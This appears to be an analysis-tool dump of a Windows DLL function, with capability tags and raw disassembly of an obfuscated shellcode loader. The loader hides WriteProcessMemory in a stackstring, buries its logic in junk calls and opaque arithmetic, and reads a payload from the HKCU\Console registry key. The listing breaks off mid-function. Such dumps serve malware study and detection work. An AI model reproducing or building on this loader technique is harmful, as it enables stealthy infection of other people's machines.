Function at 0x1800018d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov qword [rbp - 1], 0xfffffffffffffffe
call fcn.1800010e0
test eax, eax
je 0x1800018f9
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001907
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001915
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001923
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001931
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000193f
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x18000194d
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x18000195b
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001969
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001977
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001985
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001993
call fcn.1800012f0
call fcn.180001190
test eax, eax
je 0x1800019a1
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x1800019af
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x1800019bd
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x1800019cb
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x1800019d9
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x1800019e7
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x1800019f5
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001a03
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a11
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001a1f
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001a2d
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a3b
call fcn.180001050
call fcn.1800012f0
test eax, eax
je 0x180001a49
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001a57
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001a65
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001a73
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001a81
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001a8f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001a9d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001aab
call fcn.180001500
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180001b03
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800154a8], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rbp - 0x11], 0xf
xor r12d, r12d
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], r12b
lea edx, [r12 + 0xc]
lea rcx, [rbp - 0x29]
call fcn.180003b00
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 7]
call fcn.180001780
nop
cmp qword [rbp - 0x11], 0x10
jb 0x180001b43
mov rcx, qword [rbp - 0x29]
call fcn.180004908
mov qword [rbp - 0x11], 0xf
mov qword [rbp - 0x19], r12
mov byte [rbp - 0x29], 0
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x51]
call fcn.1800018b0
nop
call fcn.180001050
test eax, eax
je 0x180001b6f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001b7d
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001b8b
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001b99
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001ba7
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001bb5
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001bc3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001bd1
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001bdf
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001bed
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001bfb
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001c09
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001c17
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001c25
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x180001c33
call fcn.1800010e0
call fcn.180001450
test eax, eax
je 0x180001c41
call fcn.180001190
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x7f]
mov qword [rsp + 0x20], r11
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x77], r12d
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001050
test eax, eax
je 0x180001c8f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001c9d
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001cab
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001cb9
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001cc7
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001cd5
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001ce3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001cf1
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001cff
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001d0d
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001d1b
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001d29
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001d37
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001d45
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001d53
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001d61
call fcn.180001050
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.1800040d8
mov rbx, rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800010e0
test eax, eax
je 0x180001db1
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001dbf
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001dcd
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ddb
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001de9
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001df7
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001e05
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001e13
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001e21
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001e2f
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001e3d
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001e4b
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001e59
call fcn.180001450
call fcn.1800010e0
test eax, eax
je 0x180001e67
call fcn.180001500
call fcn.180001190
test eax, eax
je 0x180001e75
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001e83
call fcn.1800013a0
lea rdx, [rbp - 0x51]
cmp qword [rbp - 0x39], 0x10
cmovae rdx, qword [rbp - 0x51]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.1800040d8
mov rsi, rax
call fcn.180001240
test eax, eax
je 0x180001ec8
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ed6
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001ee4
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ef2
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x180001f00
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x180001f0e
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x180001f1c
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001f2a
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001f38
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001f46
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001f54
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001f62
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001f70
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001f7e
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001f8c
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001f9a
call fcn.180001050
cmp dword [rbp + 0x77], 0
jbe 0x180001fc5
mov rdx, rsi
sub rbx, rsi
mov r8, rsi
neg r8
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rdx], al
inc rdx
lea rcx, [r8 + rdx]
mov eax, dword [rbp + 0x77]
cmp rcx, rax
jb 0x180001fb0
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002008
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000205c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000204f
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x180002030
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000205c
call fcn.1800010e0
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000207b
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000208e
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800020da
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800020cd
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800020b0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800020da
call fcn.180001240
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002111
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002158
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000214e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002131
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x18000215d
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000216b
call fcn.1800010e0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800021a2
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x1800021e9
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x1800021df
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x1800021c2
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002263
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x180002208
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000221b
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002263
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000225d
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x180002240
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x18000229c
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x1800022ec
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x1800022df
nop dword [rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x1800022c0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800022ec
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x1800022fa
call fcn.1800010e0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002331
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002378
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000236e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002351
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x1800023f3
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x180002397
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x1800023aa
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800023f3
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800023ed
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800023d0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
call fcn.1800012f0
test eax, eax
je 0x180002401
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x18000240f
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x18000241d
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x18000242b
call fcn.1800012f0
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000244a
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000245d
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800024aa
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000249d
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x180002480
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800024aa
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800024e1
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002528